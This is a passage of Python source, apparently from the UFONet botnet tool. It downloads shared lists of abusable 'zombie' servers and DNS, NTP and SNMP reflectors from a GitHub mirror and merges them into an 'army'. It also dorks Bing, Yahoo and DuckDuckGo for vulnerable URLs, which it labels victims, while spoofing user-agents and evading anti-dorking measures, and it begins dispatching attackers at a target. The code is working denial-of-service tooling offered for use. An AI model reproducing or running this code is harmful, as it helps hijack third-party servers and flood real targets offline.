  2541. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2542. print('-'*25)
  2543. print("\n[AI] "+self.exit_msg+"\n")
  2544. else:
  2545. zombies_ready = []
  2546. f = open('botnet/abductions.txt')
  2547. abductions = f.readlines()
  2548. f.close()
  2549. fz = open(self.zombies_file)
  2550. zombies = fz.readlines()
  2551. fz.close()
  2552. for abduction in abductions:
  2553. abduction = abduction.replace('\n','')
  2554. if abduction not in zombies:
  2555. zombies_ready.append(abduction)
  2556. else:
  2557. pass
  2558. self.update_zombies(zombies_ready)
  2559. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2560. aliens_ready = []
  2561. f = open('botnet/troops.txt')
  2562. troops = f.readlines()
  2563. f.close()
  2564. fz = open(self.aliens_file)
  2565. aliens = fz.readlines()
  2566. fz.close()
  2567. for alien in troops:
  2568. alien = alien.replace('\n','')
  2569. if alien not in aliens:
  2570. aliens_ready.append(alien)
  2571. else:
  2572. pass
  2573. self.update_aliens(aliens_ready)
  2574. os.remove('botnet/troops.txt') # remove troops .txt file
  2575. droids_ready = []
  2576. f = open('botnet/robots.txt')
  2577. robots = f.readlines()
  2578. f.close()
  2579. fz = open(self.droids_file)
  2580. droids = fz.readlines()
  2581. fz.close()
  2582. for droid in robots:
  2583. droid = droid.replace('\n','')
  2584. if droid not in droids:
  2585. droids_ready.append(droid)
  2586. else:
  2587. pass
  2588. self.update_droids(droids_ready)
  2589. os.remove('botnet/robots.txt') # remove robots .txt file
  2590. ucavs_ready = []
  2591. f = open('botnet/drones.txt')
  2592. drones = f.readlines()
  2593. f.close()
  2594. fz = open(self.ucavs_file)
  2595. ucavs = fz.readlines()
  2596. fz.close()
  2597. for drone in drones:
  2598. drone = drone.replace('\n','')
  2599. if drone not in ucavs:
  2600. ucavs_ready.append(drone)
  2601. else:
  2602. pass
  2603. self.update_ucavs(ucavs_ready)
  2604. os.remove('botnet/drones.txt') # remove drones .txt file
  2605. rpcs_ready = []
  2606. f = open('botnet/reflectors.txt')
  2607. reflectors = f.readlines()
  2608. f.close()
  2609. fz = open(self.rpcs_file)
  2610. rpcs = fz.readlines()
  2611. fz.close()
  2612. for reflector in reflectors:
  2613. reflector = reflector.replace('\n','')
  2614. if reflector not in rpcs:
  2615. rpcs_ready.append(reflector)
  2616. else:
  2617. pass
  2618. self.update_rpcs(rpcs_ready)
  2619. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2620. dnss_ready = []
  2621. f = open('botnet/crystals.txt')
  2622. crystals = f.readlines()
  2623. f.close()
  2624. fz = open(self.dnss_file)
  2625. dnss = fz.readlines()
  2626. fz.close()
  2627. for crystal in crystals:
  2628. crystal = crystal.replace('\n','')
  2629. if crystal not in dnss:
  2630. dnss_ready.append(crystal)
  2631. else:
  2632. pass
  2633. self.update_dnss(dnss_ready)
  2634. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2635. ntps_ready = []
  2636. f = open('botnet/warps.txt')
  2637. warps = f.readlines()
  2638. f.close()
  2639. fz = open(self.ntps_file)
  2640. ntps = fz.readlines()
  2641. fz.close()
  2642. for warp in warps:
  2643. warp = warp.replace('\n','')
  2644. if warp not in ntps:
  2645. ntps_ready.append(warp)
  2646. else:
  2647. pass
  2648. self.update_ntps(ntps_ready)
  2649. os.remove('botnet/warps.txt') # remove warps .txt file
  2650. snmps_ready = []
  2651. f = open('botnet/bosons.txt')
  2652. bosons = f.readlines()
  2653. f.close()
  2654. fz = open(self.snmps_file)
  2655. snmps = fz.readlines()
  2656. fz.close()
  2657. for boson in bosons:
  2658. boson = boson.replace('\n','')
  2659. if boson not in snmps:
  2660. snmps_ready.append(boson)
  2661. else:
  2662. pass
  2663. self.update_snmps(snmps_ready)
  2664. os.remove('botnet/bosons.txt') # remove bosons .txt file
  2665. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2666. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2667. if not self.options.forceyes: # ask for update everything
  2668. print('-'*25 + "\n")
  2669. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2670. else:
  2671. update_reply = "Y"
  2672. if update_reply == "n" or update_reply == "N":
  2673. print("\n[AI] "+self.exit_msg+"\n")
  2674. return
  2675. else:
  2676. try:
  2677. update_gui = self.update_gui_data() # update GUI data
  2678. except:
  2679. print('-'*25 +"\n")
  2680. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2681. print('-'*25)
  2682. print("\n[AI] "+self.exit_msg+"\n")
  2683. return
  2684. def downloading_github_list(self):
  2685. # add your mirror to protect/share/distribute... [Zombies]
  2686. try:
  2687. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2688. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2689. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2690. if self.options.timeout: # set timeout
  2691. try:
  2692. timeout = int(self.options.timeout)
  2693. except:
  2694. timeout = 5
  2695. else:
  2696. timeout = 5
  2697. if timeout < 1:
  2698. timeout = 5
  2699. if self.options.proxy: # set proxy
  2700. self.proxy_transport(self.options.proxy)
  2701. try:
  2702. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2703. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2704. except:
  2705. zombies_reply = ""
  2706. try:
  2707. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2708. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2709. except:
  2710. aliens_reply = ""
  2711. try:
  2712. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2713. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2714. except:
  2715. dns_reply = ""
  2716. try:
  2717. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2718. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2719. except:
  2720. droids_reply = ""
  2721. try:
  2722. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2723. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2724. except:
  2725. rpcs_reply = ""
  2726. try:
  2727. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2728. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2729. except:
  2730. ucavs_reply = ""
  2731. try:
  2732. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2733. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2734. except:
  2735. ntp_reply = ""
  2736. try:
  2737. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  2738. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2739. except:
  2740. snmp_reply = ""
  2741. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  2742. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2743. print('-'*12 + '\n')
  2744. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2745. return
  2746. f = open('botnet/abductions.txt', 'w') # zombies
  2747. f.write(zombies_reply)
  2748. f.close()
  2749. f = open('botnet/troops.txt', 'w') # aliens
  2750. f.write(aliens_reply)
  2751. f.close()
  2752. f = open('botnet/crystals.txt', 'w') # dns
  2753. f.write(dns_reply)
  2754. f.close()
  2755. f = open('botnet/robots.txt', 'w') # droids
  2756. f.write(droids_reply)
  2757. f.close()
  2758. f = open('botnet/drones.txt', 'w') # ucavs
  2759. f.write(ucavs_reply)
  2760. f.close()
  2761. f = open('botnet/reflectors.txt', 'w') # rpcs
  2762. f.write(rpcs_reply)
  2763. f.close()
  2764. f = open('botnet/warps.txt', 'w') # ntp
  2765. f.write(ntp_reply)
  2766. f.close()
  2767. f = open('botnet/bosons.txt', 'w') # snmp
  2768. f.write(snmp_reply)
  2769. f.close()
  2770. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2771. except:
  2772. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2773. print('-'*12 + '\n')
  2774. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2775. return
  2776. print('-'*12 + '\n')
  2777. num_abductions = 0
  2778. with open('botnet/abductions.txt') as f: # zombies
  2779. for _ in f:
  2780. num_abductions = num_abductions + 1
  2781. print("[Info] Zombies: " + str(num_abductions))
  2782. num_troops = 0
  2783. with open('botnet/troops.txt') as f: # aliens
  2784. for _ in f:
  2785. num_troops = num_troops + 1
  2786. print("[Info] Aliens : " + str(num_troops))
  2787. num_robots = 0
  2788. with open('botnet/robots.txt') as f: # droids
  2789. for _ in f:
  2790. num_robots = num_robots + 1
  2791. print("[Info] Droids : " + str(num_robots))
  2792. num_drones = 0
  2793. with open('botnet/drones.txt') as f: # ucavs
  2794. for _ in f:
  2795. num_drones = num_drones + 1
  2796. print("[Info] UCAVs : " + str(num_drones))
  2797. num_reflectors = 0
  2798. with open('botnet/reflectors.txt') as f: # rpcs
  2799. for _ in f:
  2800. num_reflectors = num_reflectors + 1
  2801. print("[Info] X-RPCs : " + str(num_reflectors))
  2802. num_crystals = 0
  2803. with open('botnet/crystals.txt') as f: # dns
  2804. for _ in f:
  2805. num_crystals = num_crystals + 1
  2806. print("[Info] DNSs : " + str(num_crystals))
  2807. num_warps = 0
  2808. with open('botnet/warps.txt') as f: # ntp
  2809. for _ in f:
  2810. num_warps = num_warps + 1
  2811. print("[Info] NTPs : " + str(num_warps))
  2812. num_bosons = 0
  2813. with open('botnet/bosons.txt') as f: # snmp
  2814. for _ in f:
  2815. num_bosons = num_bosons + 1
  2816. print("[Info] SNMPs : " + str(num_bosons))
  2817. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  2818. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2819. print('-'*12)
  2820. if not self.options.forceyes:
  2821. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2822. print('-'*25)
  2823. else:
  2824. update_reply = "Y"
  2825. if update_reply == "n" or update_reply == "N":
  2826. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2827. os.remove('botnet/troops.txt') # remove aliens/troops file
  2828. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2829. os.remove('botnet/robots.txt') # remove droids/robots file
  2830. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2831. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2832. os.remove('botnet/warps.txt') # remove ntp/warps file
  2833. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  2834. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2835. print('-'*25)
  2836. print("\n[AI] "+self.exit_msg+"\n")
  2837. else:
  2838. zombies_ready = []
  2839. f = open('botnet/abductions.txt')
  2840. abductions = f.readlines()
  2841. f.close()
  2842. fz = open(self.zombies_file)
  2843. zombies = fz.readlines()
  2844. fz.close()
  2845. for abduction in abductions:
  2846. abduction = abduction.replace('\n','')
  2847. if abduction not in zombies:
  2848. zombies_ready.append(abduction)
  2849. else:
  2850. pass
  2851. self.update_zombies(zombies_ready)
  2852. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2853. aliens_ready = []
  2854. f = open('botnet/troops.txt')
  2855. troops = f.readlines()
  2856. f.close()
  2857. fz = open(self.aliens_file)
  2858. aliens = fz.readlines()
  2859. fz.close()
  2860. for alien in troops:
  2861. alien = alien.replace('\n','')
  2862. if alien not in aliens:
  2863. aliens_ready.append(alien)
  2864. else:
  2865. pass
  2866. self.update_aliens(aliens_ready)
  2867. os.remove('botnet/troops.txt') # remove aliens/troops file
  2868. dnss_ready = []
  2869. f = open('botnet/crystals.txt')
  2870. crystals = f.readlines()
  2871. f.close()
  2872. fz = open(self.dnss_file)
  2873. dnss = fz.readlines()
  2874. fz.close()
  2875. for crystal in crystals:
  2876. crystal = crystal.replace('\n','')
  2877. if crystal not in dnss:
  2878. dnss_ready.append(crystal)
  2879. else:
  2880. pass
  2881. self.update_dnss(dnss_ready)
  2882. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2883. droids_ready = []
  2884. f = open('botnet/robots.txt')
  2885. robots = f.readlines()
  2886. f.close()
  2887. fz = open(self.droids_file)
  2888. droids = fz.readlines()
  2889. fz.close()
  2890. for droid in robots:
  2891. droid = droid.replace('\n','')
  2892. if droid not in droids:
  2893. droids_ready.append(droid)
  2894. else:
  2895. pass
  2896. self.update_droids(droids_ready)
  2897. os.remove('botnet/robots.txt') # remove droids/robots file
  2898. ucavs_ready = []
  2899. f = open('botnet/drones.txt')
  2900. drones = f.readlines()
  2901. f.close()
  2902. fz = open(self.ucavs_file)
  2903. ucavs = fz.readlines()
  2904. fz.close()
  2905. for drone in drones:
  2906. drone = drone.replace('\n','')
  2907. if drone not in ucavs:
  2908. ucavs_ready.append(drone)
  2909. else:
  2910. pass
  2911. self.update_ucavs(ucavs_ready)
  2912. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2913. rpcs_ready = []
  2914. f = open('botnet/reflectors.txt')
  2915. reflectors = f.readlines()
  2916. f.close()
  2917. fz = open(self.rpcs_file)
  2918. rpcs = fz.readlines()
  2919. fz.close()
  2920. for reflector in reflectors:
  2921. reflector = reflector.replace('\n','')
  2922. if reflector not in rpcs:
  2923. rpcs_ready.append(reflector)
  2924. else:
  2925. pass
  2926. self.update_rpcs(rpcs_ready)
  2927. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2928. ntps_ready = []
  2929. f = open('botnet/warps.txt')
  2930. warps = f.readlines()
  2931. f.close()
  2932. fz = open(self.ntps_file)
  2933. ntps = fz.readlines()
  2934. fz.close()
  2935. for warp in warps:
  2936. warp = warp.replace('\n','')
  2937. if warp not in ntps:
  2938. ntps_ready.append(warp)
  2939. else:
  2940. pass
  2941. self.update_ntps(ntps_ready)
  2942. os.remove('botnet/warps.txt') # remove NTP/warps file
  2943. snmps_ready = []
  2944. f = open('botnet/bosons.txt')
  2945. bosons = f.readlines()
  2946. f.close()
  2947. fz = open(self.snmps_file)
  2948. snmps = fz.readlines()
  2949. fz.close()
  2950. for boson in bosons:
  2951. boson = boson.replace('\n','')
  2952. if boson not in snmps:
  2953. snmps_ready.append(boson)
  2954. else:
  2955. pass
  2956. self.update_snmps(snmps_ready)
  2957. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  2958. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2959. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2960. if not self.options.forceyes: # ask for update everything
  2961. print('-'*25 + "\n")
  2962. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2963. else:
  2964. update_reply = "Y"
  2965. if update_reply == "n" or update_reply == "N":
  2966. print("\n[AI] "+self.exit_msg+"\n")
  2967. return
  2968. else:
  2969. try:
  2970. update_gui = self.update_gui_data() # update GUI data
  2971. except:
  2972. print('-'*25 +"\n")
  2973. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2974. print('-'*25)
  2975. print("\n[AI] "+self.exit_msg+"\n")
  2976. return
  2977. def uploading_github_list(self):
  2978. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2979. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2980. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2981. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2982. print('='*22 + '\n')
  2983. print("[AI] "+self.exit_msg+"\n")
  2984. def create_web_interface(self):
  2985. # launch webserver+gui
  2986. from .webgui import ClientThread
  2987. import webbrowser
  2988. host = '0.0.0.0'
  2989. port = 9999
  2990. try:
  2991. webbrowser.open('http://127.0.0.1:9999', new=1)
  2992. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2993. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2994. tcpsock.bind((host,port))
  2995. while True:
  2996. tcpsock.listen(4)
  2997. (clientsock, (ip, port)) = tcpsock.accept()
  2998. newthread = ClientThread(ip, port, clientsock)
  2999. newthread.start()
  3000. except (KeyboardInterrupt, SystemExit):
  3001. sys.exit()
  3002. def extract_dorks(self):
  3003. # extract dorks from file (ex: 'dorks.txt')
  3004. try:
  3005. f = open(self.dorks_file)
  3006. dorks = f.readlines()
  3007. dorks = [ dork.replace('\n','') for dork in dorks ]
  3008. f.close()
  3009. if not dorks:
  3010. if not options.autosearch:
  3011. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3012. return
  3013. else:
  3014. return dorks
  3015. except:
  3016. if not options.autosearch:
  3017. if os.path.exists(self.dorks_file) == True:
  3018. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3019. return #sys.exit(2)
  3020. else:
  3021. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3022. return #sys.exit(2)
  3023. else:
  3024. return
  3025. def search_zombies(self, dork, zombies_found):
  3026. # crawlering on search engine results to extract zombies
  3027. options = self.options
  3028. zombies = []
  3029. if not options.engine: # default search engine
  3030. options.engine = 'duck'
  3031. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  3032. url = 'https://www.bing.com/search?'
  3033. if options.search: # search from query
  3034. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3035. if options.dorks or options.autosearch: # search from a dork
  3036. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3037. start = 0 # set index number of first entry
  3038. query_string = { 'q':q, 'first':start }
  3039. data = urllib.parse.urlencode(query_string)
  3040. url = url + data
  3041. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3042. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3043. if options.verbose:
  3044. print("[Info] [AI] Query used: " + url)
  3045. print("\n" + '-'*44 + '\n')
  3046. try:
  3047. if options.proxy: # set proxy
  3048. self.proxy_transport(options.proxy)
  3049. req = urllib.request.Request(url, None, headers)
  3050. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3051. except:
  3052. print('[Error] [AI] Unable to connect to: bing\n')
  3053. if options.allengines or options.autosearch:
  3054. return
  3055. if not options.dorks or not options.autosearch:
  3056. if not self.options.forceyes:
  3057. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3058. else:
  3059. update_reply = "Y"
  3060. if update_reply == "n" or update_reply == "N":
  3061. return #sys.exit(2)
  3062. print("\nSearch engines available:")
  3063. print('-'*25)
  3064. for e in self.search_engines:
  3065. print("+ "+e)
  3066. print('-'*25)
  3067. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3068. return #sys.exit(2)
  3069. else:
  3070. req_reply = ''
  3071. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  3072. pattern = re.compile(regex)
  3073. url_links = re.findall(pattern, req_reply)
  3074. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  3075. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  3076. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  3077. location = str(random.choice(location).strip()) # shuffle location
  3078. if location == "jp": # [28/02/2019]
  3079. url = 'https://search.yahoo.co.jp/search?'
  3080. else:
  3081. url = 'https://'+location+'.search.yahoo.com/search?'
  3082. if options.search: # search from query
  3083. if location == "jp":
  3084. q = '"' + str(options.search) + '"' # set query to search literally on results
  3085. else:
  3086. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3087. if options.dorks or options.autosearch: # search from a dork
  3088. if location == "jp":
  3089. q = '"' + str(dork) + '"' # set query to search literally on results
  3090. else:
  3091. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3092. start = 0 # set index number of first entry
  3093. query_string = { 'p':q, 'b':start }
  3094. data = urllib.parse.urlencode(query_string)
  3095. url = url + data
  3096. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3097. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3098. if options.verbose:
  3099. print(("Query used: " + url + "\n"))
  3100. try:
  3101. if options.proxy: # set proxy
  3102. self.proxy_transport(options.proxy)
  3103. req = urllib.request.Request(url, None, headers)
  3104. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3105. except:
  3106. print('[Error] [AI] Unable to connect to: yahoo\n')
  3107. if options.allengines or options.autosearch:
  3108. return
  3109. if not options.dorks or not options.autosearch:
  3110. if not self.options.forceyes:
  3111. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3112. else:
  3113. update_reply = "Y"
  3114. if update_reply == "n" or update_reply == "N":
  3115. return #sys.exit(2)
  3116. print("\nSearch engines available:")
  3117. print('-'*25)
  3118. for e in self.search_engines:
  3119. print("+ "+e)
  3120. print('-'*25)
  3121. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  3122. return #sys.exit(2)
  3123. else:
  3124. req_reply = ''
  3125. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  3126. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  3127. pattern = re.compile(regex)
  3128. url_links = re.findall(pattern, req_reply)
  3129. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  3130. url = 'https://duckduckgo.com/html/'
  3131. if options.search: # search from query
  3132. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3133. if options.dorks or options.autosearch: # search from a dork
  3134. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3135. query_string = { 'q':q }
  3136. data = urllib.parse.urlencode(query_string)
  3137. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3138. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3139. if options.verbose:
  3140. print("Query used: " + url + " (POST: "+ data + ")\n")
  3141. try:
  3142. if options.proxy: # set proxy
  3143. self.proxy_transport(options.proxy)
  3144. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  3145. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3146. except:
  3147. print('[Error] [AI] Unable to connect to: duck\n')
  3148. if options.allengines or options.autosearch:
  3149. return
  3150. if not options.dorks or not options.autosearch:
  3151. if not self.options.forceyes:
  3152. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3153. else:
  3154. update_reply = "Y"
  3155. if update_reply == "n" or update_reply == "N":
  3156. return #sys.exit(2)
  3157. print("\nSearch engines available:")
  3158. print('-'*25)
  3159. for e in self.search_engines:
  3160. print("+ "+e)
  3161. print('-'*25)
  3162. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3163. return #sys.exit(2)
  3164. else:
  3165. req_reply = ''
  3166. regex = 'snippet" href="(.+?)">' # regex magics
  3167. pattern = re.compile(regex)
  3168. url_links = re.findall(pattern, req_reply)
  3169. else: # no valid search engine
  3170. print('[Error] [AI] This search engine is not supported!\n')
  3171. if not options.dorks or options.autosearch:
  3172. if not self.options.forceyes:
  3173. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3174. else:
  3175. update_reply = "Y"
  3176. if update_reply == "n" or update_reply == "N":
  3177. return #sys.exit(2)
  3178. print("\nSearch engines available:")
  3179. print('-'*25)
  3180. for e in self.search_engines:
  3181. print("+ "+e)
  3182. print('-'*25)
  3183. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3184. return #sys.exit(2)
  3185. else:
  3186. req_reply = ''
  3187. if options.num_results: # set number of results to search
  3188. try:
  3189. num = int(options.num_results)
  3190. except:
  3191. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3192. num = 10
  3193. else:
  3194. num = 10
  3195. total_results = 1
  3196. for url in url_links: # general parse on urls
  3197. if int(num) < int(total_results):
  3198. break
  3199. if options.engine == "bing":
  3200. if " h=" in url: # regex magics [18/08/2016]
  3201. url = url.rsplit('" h=',1)[0]
  3202. if options.engine == "yahoo":
  3203. if 'RU=' in url: # regex magics [18/08/2016]
  3204. url = url.rsplit('RU=',1)[1]
  3205. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  3206. url = url.rsplit('UTF-8&u=',1)[1]
  3207. total_results = total_results + 1 # results counter
  3208. url_link = urllib.parse.unquote(url) # unquote encoding
  3209. if options.search:
  3210. sep = str(options.search)
  3211. if options.dorks or options.autosearch:
  3212. sep = str(dork)
  3213. url_link = url_link.rsplit(sep, 1)[0] + sep
  3214. if 'href="' in url_link:
  3215. url_link = url_link.rsplit('href="', 1)[1]
  3216. if "instreamset" in url_link: # invalid zombie
  3217. url_link = "" # discarded
  3218. if '" ' in url_link:
  3219. url_link = url_link.rsplit('" ', 1)[1]
  3220. if options.engine in url_link:
  3221. url_link = "" # discarded
  3222. if 'http' not in url_link:
  3223. url_link = "" # discarded
  3224. else:
  3225. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "": # AI mode (parsing search engines mixed pool and stored army)
  3226. print('+Victim found: ' + url_link)
  3227. print('-'*12)
  3228. zombies.append(url_link)
  3229. else:
  3230. pass
  3231. if len(zombies) == 0: # print dorking results
  3232. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  3233. if not options.dorks:
  3234. if not options.autosearch:
  3235. if not self.options.forceyes:
  3236. return #sys.exit(2)
  3237. print("\n" + '-'*44 + '\n')
  3238. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  3239. return zombies
  3240. def check_nat(self):
  3241. # check for NAT configuration
  3242. options = self.options
  3243. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  3244. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  3245. check_ip_service = None
  3246. if not tor_reply or 'Congratulations' not in tor_reply:
  3247. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  3248. else:
  3249. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  3250. self.nat_error_flag = "ON"
  3251. return #sys.exit(2)
  3252. try:
  3253. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  3254. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  3255. check_ip_service = self.check_ip_service1
  3256. except:
  3257. try: # another check for public ip
  3258. data = str(urlopen(self.check_ip_service2).read())
  3259. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  3260. check_ip_service = self.check_ip_service2
  3261. except:
  3262. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  3263. self.nat_error_flag = "ON"
  3264. return
  3265. t = urlparse(check_ip_service)
  3266. name_service = t.netloc
  3267. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  3268. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  3269. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  3270. self.local_ip = s.getsockname()[0]
  3271. print(" + Local: " + self.local_ip + "\n")
  3272. print('='*22 + '\n')
  3273. def extract_ucavs(self):
  3274. # extract ucavs from file
  3275. options = self.options
  3276. try:
  3277. f = open(self.ucavs_file)
  3278. ucavs = f.readlines()
  3279. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  3280. f.close()
  3281. if not ucavs:
  3282. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3283. self.options.disableucavs = True
  3284. return
  3285. else:
  3286. return ucavs
  3287. except:
  3288. if os.path.exists(self.ucavs_file) == True:
  3289. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3290. return #sys.exit(2)
  3291. else:
  3292. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3293. return #sys.exit(2)
  3294. def discarding_ucavs(self, ucav, ucavs):
  3295. if ucav in self.discard_ucavs:
  3296. ucavs.remove(ucav)
  3297. if self.options.verbose:
  3298. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  3299. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3300. return ucavs
  3301. def send_ucavs(self, ucavs):
  3302. # extract external status checkers, perform a request and check results
  3303. time.sleep(5) # aiming (multi-threading flow time compensation)
  3304. if not self.options.disablepurge:
  3305. if not ucavs: # return when not any working
  3306. self.options.disableucavs = True
  3307. return
  3308. options = self.options
  3309. target = self.options.target
  3310. shuffle(ucavs) # shuffle ucavs order, each round :-)
  3311. if not self.options.disablepurge:
  3312. for ucav in ucavs:
  3313. if not ucav.startswith('http'): # discarded inmediately
